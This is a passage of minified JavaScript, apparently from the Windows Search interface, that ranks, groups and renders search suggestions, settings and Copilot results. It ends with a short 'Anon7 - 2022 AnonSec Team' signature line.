i=this.getSortedSuggestions(2,t.suggestions),u=this.getSortedSuggestions(1,t.suggestions),f=this.getSortedSuggestions(0,t.suggestions),r=t.suggestions.filter(n=>n.itemType!==2).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime);if(n.config.enablePromoteWebSuggInSH&&i.length>0&&r.length>0)t.suggestions=[...i,...r];else if(n.config.enablePromoteWebSuggInSH2&&this.hasAtLeastTwoNonEmptyGroups([i,f,u,r]))t.suggestions=[...[i,f,u].sort((n,t)=>t.length-n.length).reduce((n,t)=>n.concat(t),[])];else if(n.config.enablePromoteWebSuggInSH3&&i.length>0&&r.length>0){const n=this.getAveragePosition(i,t.suggestions),u=this.getAveragePosition(r,t.suggestions);t.suggestions=n<u?[...i,...r]:[...r,...i]}else if(n.config.enablePromoteWebSuggInSH4&&i.length>0&&r.length>0)t.suggestions=t.suggestions[0].itemType===2?[...i,...r]:[...r,...i];else if(n.config.enablePromoteWebSuggInSH5&&i.length>0&&r.length>0){const n=i.slice(0,5);t.suggestions=[...n,...r]}else n.config.enablePromoteWebSuggInSH6&&i.length>0&&r.length>0&&(t.suggestions=[...r,...i])}rankMruWebSuggestions(t){let i=[],r=[];t.suggestions.forEach((n,t)=>{n.itemType===2&&(i.push(n),r.push(t))});let u=t.suggestions.filter(n=>n.itemType!==2);if(n.config.optimizeRecentRank==1)i.sort((n,t)=>n.query.split(" ").length==t.query.split(" ").length?n.query.length==t.query.length?t.lastLaunchTime-n.lastLaunchTime:n.query.length-t.query.length:n.query.split(" ").length-t.query.split(" ").length);else if(n.config.optimizeRecentRank==2)i.sort((t,i)=>{var r,u;return n.isNullOrUndefined((r=t===null||t===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.prefixLaunchCount)||n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.prefixLaunchCount)||t.mruRankingData.prefixLaunchCount==i.mruRankingData.prefixLaunchCount?t.query.split(" ").length==i.query.split(" ").length?t.query.length==i.query.length?i.lastLaunchTime-t.lastLaunchTime:t.query.length-i.query.length:t.query.split(" ").length-i.query.split(" ").length:i.mruRankingData.prefixLaunchCount-t.mruRankingData.prefixLaunchCount});else if(n.config.optimizeRecentRank==3)i.sort((n,t)=>{const i=/how|what|when|where|why|which/i;return i.test(n.query)==i.test(t.query)?n.query.split(" ").length==t.query.split(" ").length?n.query.length==t.query.length?t.lastLaunchTime-n.lastLaunchTime:n.query.length-t.query.length:n.query.split(" ").length-t.query.split(" ").length:Number(i.test(n.query))-Number(i.test(t.query))});else if(n.config.optimizeRecentRank==4){const t=.5;i.map(i=>{var f;let r=-Infinity;for(const t of u){const u=n.getEditDistanceIgnoreCase(i.query,t.query),f=1-u/(t.query.length+i.query.length);r=Math.max(r,f)}n.isNullOrUndefined((f=i===null||i===void 0?void 0:i.mruRankingData)===null||f===void 0?void 0:f.localSuggestionDistanceScore)||(i.mruRankingData.localSuggestionDistanceScore=r>t?r:0)});i.sort((t,i)=>{var r,u;return n.isNullOrUndefined((r=t===null||t===void 0?void 0:t.mruRankingData)===null||r===void 0?void 0:r.localSuggestionDistanceScore)||n.isNullOrUndefined((u=i===null||i===void 0?void 0:i.mruRankingData)===null||u===void 0?void 0:u.localSuggestionDistanceScore)||t.mruRankingData.localSuggestionDistanceScore==i.mruRankingData.localSuggestionDistanceScore?t.query.split(" ").length==i.query.split(" ").length?t.query.length==i.query.length?i.lastLaunchTime-t.lastLaunchTime:t.query.length-i.query.length:t.query.split(" ").length-i.query.split(" ").length:i.mruRankingData.localSuggestionDistanceScore-t.mruRankingData.localSuggestionDistanceScore})}i.forEach((n,u)=>{t.suggestions[r[u]]=i[u]})}getSortedSuggestions(n,t){return t.filter(t=>t.itemType===n).sort((n,t)=>t.lastLaunchTime-n.lastLaunchTime)}hasAtLeastTwoNonEmptyGroups(n){let t=0;for(let i of n)if(i.length>0&&++t>=2)return!0;return!1}getAveragePosition(n,t){let i=n.reduce((n,i)=>n+t.indexOf(i)+1,0);return i/n.length}shrinkTSListByMruLength(t,i){const r=this.groups.findIndex(t=>t.type===n.GroupType.TrendingSearchData);if(r>-1){if(t>0){const e=this.groups[r].suggestions.length;let f=n.RuntimeConfiguration.TextScaleFactor,u=i-t;f>1&&e>u-2&&(u-=f<1.2?1:2);u=Math.max(u,0);this.groups[r].suggestions.splice(u)}else this.groups[r].suggestions=[];this.groups[r].suggestions.length==0&&this.groups.splice(r,1)}}canGoToL2(n){return n.click&&!n.instItem}populateGroupHeaderFlags(t){if(this.isWorkScope()&&t.type!=n.GroupType.WorkSuggestions&&t.suggestions.length>n.config.msbWorkScopeGroupSuggestionLimit)t.showCountInHeader=!0,t.count=t.suggestions.length;else if(this.canGoToL2(t)){let n=t.suggestions.every(n=>n.suppressed);t.showCountInHeader=n}}shouldTrackGroupCount(n){return this.canGoToL2(n)}getGroupData(t){var u;let r={type:n.getGroupType(t),source:t.sourceForGroup};return r.type===n.GroupType.DMAWeb&&((u=t===null||t===void 0?void 0:t.sourceApp)===null||u===void 0?void 0:u.applicationUserModelId)&&(r.source=t.sourceApp.applicationUserModelId),n.enableMRUSearchHome()&&r.type==n.GroupType.MRUHistory&&(r.source=undefined),[r,i(this.groups,r)]}removePendingSuggestionFromExistingGroup(n,t){for(let i=0;i<this._pendingSuggestionsInExistingGroups.length;++i){let r=this._pendingSuggestionsInExistingGroups[i];if(r.group==t){let t=r.suggestions.indexOf(n);if(t==-1)throw new Error("Pending suggestion not found in existing group");else{r.suggestions.splice(t,1);r.suggestions.length==0&&this._pendingSuggestionsInExistingGroups.splice(i,1);return}}}throw new Error("Pending suggestion not found: pending suggestions in existing groups is empty");}removePendingSuggestionFromMissingGroup(t,i){for(let r=0;r<this._pendingSuggestionsInMissingGroups.length;++r){let u=this._pendingSuggestionsInMissingGroups[r];if(n.sameGroup(u.typeWithSource,i)){let n=u.suggestions.indexOf(t);if(n==-1)throw new Error("Pending suggestion not found in missing group");else{u.suggestions.splice(n,1);u.suggestions.length==0&&this._pendingSuggestionsInMissingGroups.splice(r,1);return}}}throw new Error("Pending suggestion not found: pending suggestions in missing groups is empty");}queueSuggestionInExistingGroup(n,t){let i=or(this._pendingSuggestionsInExistingGroups,t.typeWithSource);i?i.suggestions.push(n):(i={group:t,suggestions:[n]},this._pendingSuggestionsInExistingGroups.push(i))}queueSuggestionInMissingGroup(n,t,r){let u=i(this._pendingSuggestionsInMissingGroups,t);u?u.suggestions.push(n):(u={typeWithSource:t,suggestions:[n],extraSignalsMap:r},this._pendingSuggestionsInMissingGroups.push(u))}partialFlush(n,t,i,r){while(n>0&&i.length>0){let u=i[0];this.canFitSuggestion(!1,t.typeWithSource,u)&&r(u,t);i.splice(0,1);n-=1}}partialFlushForIFFPolaris(t,i,r,u){while(r.length>0&&(i.type==n.GroupType.Documents||i.type==n.GroupType.Photos||i.type==n.GroupType.Folders||r[0].type=="SAPP")){let n=r[0];u(n,i);r.splice(0,1)}}partialFlushForJupiter(t,i,r,u){while(r.length>0&&i.type==n.GroupType.Settings){let n=r[0];this.canFitSuggestion(!1,i.typeWithSource,n)&&u(n,i);r.splice(0,1)}}flush(t,i,r){for(let u of this._pendingSuggestionsInMissingGroups){let f=u.suggestions[0];if(f&&this.canFitSuggestion(!0,u.typeWithSource,f)){let e=this.addGroup(u.typeWithSource,f,i,r,u.extraSignalsMap);this.shouldTrackGroupCount(e)&&(e.count=u.suggestions.length);this.partialFlush(n.config.minSuggestionsPerGroup,e,u.suggestions,t);u.suggestions.forEach(n=>this.queueSuggestionInExistingGroup(n,e));u.suggestions=[]}}while(this._pendingSuggestionsInExistingGroups.some(n=>n.suggestions.length>0))for(let i of this._pendingSuggestionsInExistingGroups){let r=n.config.minSuggestionsPerGroup?1:i.suggestions.length;this.partialFlush(r,i.group,i.suggestions,t);n.config.forceCoPilotPoweredResultsVisible&&this.partialFlushForIFFPolaris(r,i.group,i.suggestions,t);n.Host.getJupiterProviderEnabled()&&n.Host.getForceCoPSTResultRenderingEnabled()&&this.partialFlushForJupiter(r,i.group,i.suggestions,t)}n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()&&(this._existPendingSettingsGroup=!1)}removeSuggestion(t,r){let f={type:n.getGroupType(t),source:t.sourceForGroup},u=i(this.groups,f);if(u)if(n.tryRemove(u.suggestions,t)){let f=i(this._resultsCounter.groups,u.typeWithSource),e=a(t,u.typeWithSource.type,!1);if(n.removeFirstWhere(f.suggestions,n=>n.mainTextWrapsToTwoLines==e),n.displayedInGridLayout(u.typeWithSource.type)&&u.suggestions.filter(n=>!n.suppressed).length==0&&(u.cssClasses=""),u.suggestions.length==0){n.tryRemove(this.groups,u);this._resultsCounter.groups=this._resultsCounter.groups.filter(n=>n!=f);let t=or(this._pendingSuggestionsInExistingGroups,u.typeWithSource);return t&&this._pendingSuggestionsInMissingGroups.push({typeWithSource:u.typeWithSource,suggestions:t.suggestions,extraSignalsMap:r}),!0}}else this.removePendingSuggestionFromExistingGroup(t,u);else this.removePendingSuggestionFromMissingGroup(t,f);return!1}isScopeElement(n){return this._headerFooterViewModel&&this._headerFooterViewModel.isScopeElement(n)}isSemanticSearchResultInGroup(t,i){return n.isNullOrUndefined(i)?t.type===n.GroupType.Documents||t.type===n.GroupType.Photos:n.isDocument(i.type)||n.isPhoto(i.type)}isJupiterSearchResultInGroup(t,i){return n.isNullOrUndefined(i)?t.type===n.GroupType.Settings:n.isSetting(i.type)}honorL1RankScore(t){t.suggestions.sort((i,r)=>{let u=!this.isSemanticSearchResultInGroup(t,i)||!i.deviceItem?-100:n.isNullOrUndefined(i.maxRankScoreForLocalDevice)?i.deviceItem.rankScore:i.maxRankScoreForLocalDevice,f=!this.isSemanticSearchResultInGroup(t,r)||!r.deviceItem?-100:n.isNullOrUndefined(r.maxRankScoreForLocalDevice)?r.deviceItem.rankScore:r.maxRankScoreForLocalDevice;return u!==f?f-u:r.rankingScore-i.rankingScore})}settingSuggestionComparationFunction(t,i){return n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()?n.isNonCopilotPoweredSetting(t.type)&&n.isNonCopilotPoweredSetting(i.type)?i.rankingScore-t.rankingScore:t.type==="CoPST"&&i.type==="CoPST"?t.deviceItem.rankScore-i.deviceItem.rankScore:n.isNonCopilotPoweredSetting(t.type)&&i.type==="CoPST"?-1:1:i.rankingScore-t.rankingScore}compareSettings(t,i){return n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()?n.isNonCopilotPoweredSetting(t.type)&&n.isNonCopilotPoweredSetting(i.type)?t.rankingScore>i.rankingScore:t.type=="CoPST"&&i.type=="CoPST"?t.deviceItem.rankScore<i.deviceItem.rankScore:n.isNonCopilotPoweredSetting(t.type)&&i.type=="CoPST"?!0:!1:t.rankingScore>i.rankingScore}reSortJupiterSearchResult(t){let i=this._settingSuggestions.slice();t.suggestions.forEach(n=>{let t=i.find(t=>t.id.toLowerCase()===n.id.toLowerCase());t||i.push(n)});i.sort(this.settingSuggestionComparationFunction);this.topResults.length>0&&this.topResults[0].id.toLowerCase()===i[0].id.toLowerCase()&&i.splice(0,1);let r=n.config.minSuggestionsPerGroup;i.length>r?(t.suggestions=i.slice(0,r),i.slice(r).forEach(n=>{this.queueSuggestionInExistingGroup(n,t),this._existPendingSettingsGroup=!0})):t.suggestions=i.slice();this._settingSuggestions=[]}mergeMultipleResouce(n){n.suggestions.sort((n,t)=>t.rankingScore-n.rankingScore);let i=[],r=[],t=[],u=[],f=[],e=[];for(let i=0;i<n.suggestions.length;i++){let o=n.suggestions[i];o.type==="SDFE"?r.push(o):o.type==="PSFL"?f.push(o):o.type==="CSFL"?e.push(o):o.type==="FL"&&o.isFullTextMatched?u.push(o):t.push(o)}const o=t.splice(0,3),s=this.multiQueueRoundRobin([t,f,e,u]);i=o.concat(s).concat(r);n.suggestions=i}multiQueueRoundRobin(n){const i=[],r=new Array(n.length).fill(0);let t=!0;while(t){t=!1;const u=[];for(let i=0;i<n.length;i++){const f=r[i];f<n[i].length&&(u.push(n[i][f]),r[i]++,t=!0)}u.sort((n,t)=>t.rankingScore-n.rankingScore);i.push(...u)}return i}createIconRenderInfo(n){let t={iconsPendingReturn:0,isTopResult:n};return this._iconRenderInfos.push(t),t}getCurrentTopResults(){return this.topResults.slice(0)}getTopResultsWhichFitInCanvas(n){return n}resetAriaSelected(n){n&&this._page.render(()=>{let t=_ge(n.id);t&&(t.setAttribute("aria-selected","false"),t.setAttribute("aria-selected","true"))})}updateTopResults(t,i,r,u,f,e){var h;t!=(u!=this._lastUpdatedSequenceNumber)&&((h=i[0])===null||h===void 0?void 0:h.scope)!=n.Scope.ThirdPartyWeb&&n.LogWSBError("updateTopResult",t+" != (sequenceNumber "+u+" != lastUpdateSequenceNumber "+this._lastUpdatedSequenceNumber+")",new Error("Precondition failed"),undefined,undefined,"WindowsTelemetry");this._lastUpdatedSequenceNumber=u;t&&(this.groups=[],this.onGroupsCleared());let v=this._selectedItem,o=this.topResults;i=this.getTopResultsWhichFitInCanvas(i);i.forEach(t=>{n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9||t.staticGroupType&&t.staticGroupType==n.GroupType.Upsell||!t.secondaryMetadata||t.secondaryMetadata.indexOf(n.Host.getLocString("LastModified")+": ")!==0||(t.template=1,t.narratorText=n.getNarratorText(t))});let s=!n.sequenceEqual(i,o)||o.some(n=>n.needsRefreshAfterDeduping);s&&(this.topResults=i.slice(0));let c=!1,l=s?i.length:0,y=this.createIconRenderInfo(!0),a=()=>{c&&(n.config.enableLocalInstrumentation&&n.InstrumentationHelper.instrumentRenderedLocalSuggestion(u,i),n.InstrumentationHelper.instrumentTopResultRendered(u,i.map(n=>n.type),l!=0))};if(s)this.renderTopResultsAfter(()=>{for(let t of this.topResults)t.needsRefreshAfterDeduping=!1,n.contains(o,t)?l-=1:this.setupIcon(u,t,y,()=>{l-=1,a()});this.onBeforeRenderTopResults(t,o,f,r,e)}),this._page.updateMessageBannerAreaView(this.buildMessageBannerModel()),c=!0;else{let n=this.onBeforeRenderTopResults(t,o,f,r,e);n==0&&(this.renderTopResults(),c=!0)}return this._selectedItem&&(v!=this._selectedItem||t)&&n.contains(this.topResults,this._selectedItem)&&this.resetAriaSelected(this._selectedItem),[s,a]}renderGroupsAfter(t){let i=this._groupRenderingDisabled;this._groupRenderingDisabled=!0;try{t()}finally{n.config.optimizeRenderGroups?this.renderGroups():(this._groupRenderingDisabled=i,this.renderGroups())}}renderTopResults(t){if(!this._topResultsRenderingDisabled){if(n.config.wsbWithCopilotQF&&this.topResults.length>0){let t=this.topResults[0];if((t===null||t===void 0?void 0:t.type)!="CP"||this._copilotResponseRendered){if((t===null||t===void 0?void 0:t.type)=="LI"){const i=n.ScopeConfig[n.Scope.Photos].icon;t.previewIcon=t.icon;t.previewGetIcon=t.getIcon;t.getIcon=n.getIconForTypeAsync(i,n.getFileExtension(t.text))}}else this._copilotResponsePreviewTimeout&&sb_ct(this._copilotResponsePreviewTimeout),this._copilotResponsePreviewTimeout=n.safeSetTimeout(()=>{var i;let r={queryText:t.text,isQF:!0,chatClickHandler:t.click};(i=this._copilotViewModel)===null||i===void 0?void 0:i.createConversationId().then(i=>{var u;t.converationId=i;let f;n.config.wsbWithCopilotAuth&&(f=(u=this._copilotViewModel)===null||u===void 0?void 0:u.getAccessToken());this._copilotResponseRendered=!0;this._page.updatePreviewContainerCopilotView(r,i,f)})},n.config.autoOpenCopilotDelay,"copilotPreview")}this._page.updateTopResultsView({query:this._contentQuery,topResults:this.topResults,groups:this.groups},t);n.InstrumentationHelper.updateSuggestionsList(this.topResults,this.groups)}}getCopilotGreeting(){var t;const u=n.getCopilotTimeOfDay(),i="MorningGreeting";let r={[1]:"MorningGreeting",[2]:"AfternoonGreeting",[3]:"EveningGreeting"}[u]||i;return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockDiscoveryCards)&&(r=i),{message:n.Host.getLocString(r),userName:(t=n.Host.getUserDisplayName())!==null&&t!==void 0?t:null}}renderTopResultsAfter(n){let t=this._topResultsRenderingDisabled;this._topResultsRenderingDisabled=!0;try{n()}finally{this._topResultsRenderingDisabled=t;this.renderTopResults();for(let n of this.topResults)n.executeScript&&n.executeScript()}}static handleSuggestionDragStartEvent(t,i){if(!n.isSearchDragAndDropEnabled()){t.preventDefault();t.stopPropagation();return}const r=i===null||i===void 0?void 0:i.deviceItem;if(!r){t.preventDefault();t.stopPropagation();return}t.dataTransfer.effectAllowed="copyLink";const u=nf+r.serializedTileId;r&&t.dataTransfer.setData("url",u)}getMaxSuggestionCountPerDMAGroup(){let t=ti(this._resultsCounter);t.groups=t.groups.filter(t=>{var i;return((i=t.typeWithSource)===null||i===void 0?void 0:i.type)!==n.GroupType.DMAWeb});let r=this.getAvailableSpace(t),i=Object.keys(n.Host.getDMAWebProvidersOrderMap()).length;return i==0?0:(r-=ut*i,Math.floor(r/ei/i))}}n.RootViewModel=ar})(WSB||(WSB={}))

Anon7 - 2022
AnonSec Team